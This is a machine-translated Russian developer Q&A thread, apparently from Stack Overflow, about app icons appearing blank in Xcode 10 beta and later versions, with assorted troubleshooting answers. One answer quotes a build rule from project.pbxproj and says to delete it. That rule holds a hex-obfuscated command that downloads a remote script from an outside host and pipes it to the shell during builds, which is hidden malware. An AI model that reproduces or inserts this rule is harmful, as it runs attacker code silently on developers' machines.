Недавно обновлено до бета-версии Xcode 10, и мое приложение, которое раньше отображало правильный значок при сборке и запуске с Xcode 9.4 на устройство, теперь показывает пустой значок по умолчанию при работе в Xcode 10.
При открытии актива AppIcon он правильно отображает значок во всех заполнителях без каких-либо предупреждающих значков. При тапе по новому "Показать нарезку" ничего не вижу.
Кто-нибудь знает, как это исправить, чтобы отображался значок приложения?
@Brezentrager Если это случай, напишите ответ, и я отмечу его как решение.
Я все еще вижу это в Xcode 10.3.
с такой же проблемой
все еще проблема в Xcode 12.5





Убедитесь, что ваш «Источник значков приложений» имеет ваш AppIcon, выбранный в разделе «Значки приложений и изображения запуска». Иногда ваш AppIcon может называться как-то вроде «AppIcon-1» в папке Assets.xcassets.
Я попробовал это и проверил свой каталог активов, выбранный для моей цели, и это правильно. Пытался обновить его туда и обратно, но это не помогло.
Я сегодня весь день безуспешно пытался решить эту же проблему. Работал нормально перед обновлением до бета-версии xCode 10 :( Все активы AppIcon добавляются там, где и как они должны быть, и источник AppIcon правильно ссылается на этот набор активов. Все также правильно добавлено в цель ... пока на главном экране моего реального устройства значок приложения по-прежнему пустой (по умолчанию). Надеюсь, решение скоро будет найдено! Меня это беспокоит, смеется.
Я думаю, это как-то связано с Xcode 10 Beta, так как у меня есть и Xcode 9.4, и Xcode 10 beta и отлично работает с 9.4, Beta - это своего рода режим тестирования, возможно, они это исправят.
Подан на радар в Apple и закрыт с помощью «DUPLICATE OF 40507731», так что кажется, что это проблема Xcode 10 в бета-версии, пока не найдено никакого обходного пути для этого.
Такая же проблема возникает после обновления до бета-версии Xcode 10.
Я мог бы исправить это, изменив активный каталог разработчика на Xcode 10:
sudo xcode-select --switch /Applications/Xcode-beta.app/Contents/Developer
Или выберите Xcode 10.0 в Xcode->Preferences->Locations->Command Line Tools.
Надеюсь это поможет.
Пробовал оба изменения, и это не устранило проблему. По-прежнему отображается пустой значок.
Это устранило проблему в моем случае. После обновления «Инструменты командной строки» до «Xcode 10.0» параметр «Источник значка приложения» в проекте был отключен. Я снова выбрал «AppIcon» в каталоге активов, и значок приложения начал появляться. Я использую Xcode 10 beta 2.
19.06.18 Apple выпустила Xcode 10. beta 2. Обновление решило мою проблему с отсутствием значков. Итак, я думаю, ошибка в Xcode 10.0.
Спасибо, это в сочетании с ответом Эдисона (stackoverflow.com/a/50929189/2164516) сработало для меня :)
У меня возникла эта проблема после изменения каталогов активов. Я считаю, что исправлено выбор актива AppIcon, а также выбор и отмена целевого членства в основной цели приложения. Это было на самом Xcode 10.
Я тестировал iPad, и в моем случае проблема заключалась в том, что в AppIcon по умолчанию не было слотов для iPad.
Я не знаю, связано ли это с тем, как было инициализировано мое приложение (я использую react native), но я целую вечность устранял проблемы и даже не подумал проверить, есть ли они там. Дурак я...
Чтобы исправить это, я удалил существующие значки, нажал кнопку + и выбрал [«Значки приложений и элементы запуска» -> «Новые значки приложений iOS»], как показано ниже. Затем я просто заселился, как и ожидалось.
В моем случае Xcode использовал «Использовать каталог активов» в источнике значков приложений. Чтобы убедиться в этом, вы можете перейти в Project-> General-> App Icons Source.
Чтобы исправить это, я выбрал «Перенести» и создал новый Каталог активов. Когда я это сделал, самый старый каталог активов получил предупреждение в значке приложения. Поэтому я снова загрузил значки в этот самый старый каталог и удалил предварительный каталог.
Источник значков приложений вернулся, чтобы показать «AppIcon», и это сработало.
Я боролся с этим весь день, это не проявилось бы в симуляторе или на реальном устройстве.
В конце концов я заставил его работать, убедившись, что в качестве целевого членства для AppIcon установлено имя приложения и что Location было «Relative to Project».
Через 4 часа это меня спасло! Спасибо!
Спасибо за ответ. Мне удалось решить эту проблему, сняв флажок целевого членства в папке каталога активов, построив приложение (которое дало ошибку), а затем вернуло целевое членство к имени приложения. Мне не пришлось изменять настройку местоположения, которая остается «Относительно группы» (XCode 12.4 - 12D4e).
Для меня решение заключалось в удалении файла AppIcon в папке с ресурсами и его повторном добавлении (что также означает повторное добавление изображений). Я не знаю почему, но это исправило это для меня.
Эта проблема сейчас возникает в iOS 15 Beta и iPadOS 15 Beta, но мы выяснили, как ее обойти.
Мы изменили значок в нашей игре, но он не загружался ни на одно из бета-устройств. Мы пробовали устройство, отличное от бета-версии, и оно работало нормально. Я решил установить поддержку устройств для iOS и iPadOS 15 beta. Теперь, если значок изменился, я не увижу его сразу, но я буду, если перезагружу устройство. Мы знали, что значок был в проекте правильно, потому что мы сделали сборку TestFlight, и она работала на не-бета-устройстве.
У меня такие же проблемы с xCode 12.5. Все значки работают, но только значки приложений не отображаются на iPad и iPhone.
Решение
YouProject.xcodeproj -> Показать содержимое пакета -> project.pbxproj -> открыть
и узнайте код и удалите этот блок, а затем создайте и запустите свое приложение.
/ Begin PBXBuildRule section /
EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = {
isa = PBXBuildRule;
compilerSpec = com.apple.compilers.proxy.script;
fileType = folder.assetcatalog;
inputFiles = (
);
isEditable = 0;
name = "Assets Catalog Builder";
outputFiles = (
"$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)",
);
script = "# Xcode Image Assets Compiler\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\" --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n";
};
/ End PBXBuildRule section /
В Xcode 12.5 у меня была такая же проблема, по-видимому, все еще не исправленная. Пробовал многие из вышеперечисленных решений, ни одно не помогло. Затем я сделал «Очистить папку сборки», затем снял отметку с целевого флажка для каталога ресурсов, построил, снова сделал «Очистить папку сборки», поставил отметку целевого объекта для каталога ресурсов и снова построил; и теперь иконка работает. Похоже, что это какое-то плохое состояние кеширования, которое не очищается; что-то на этих этапах привело к тому, что кеш стал недействительным, я думаю. Те же шаги, но без очистки папки сборки, не устранили проблему, поэтому, возможно, очистка является ключевым элементом здесь.
Это действительно была ошибка первой бета-версии Xcode 10. В бета-версии 2 проблема исчезла.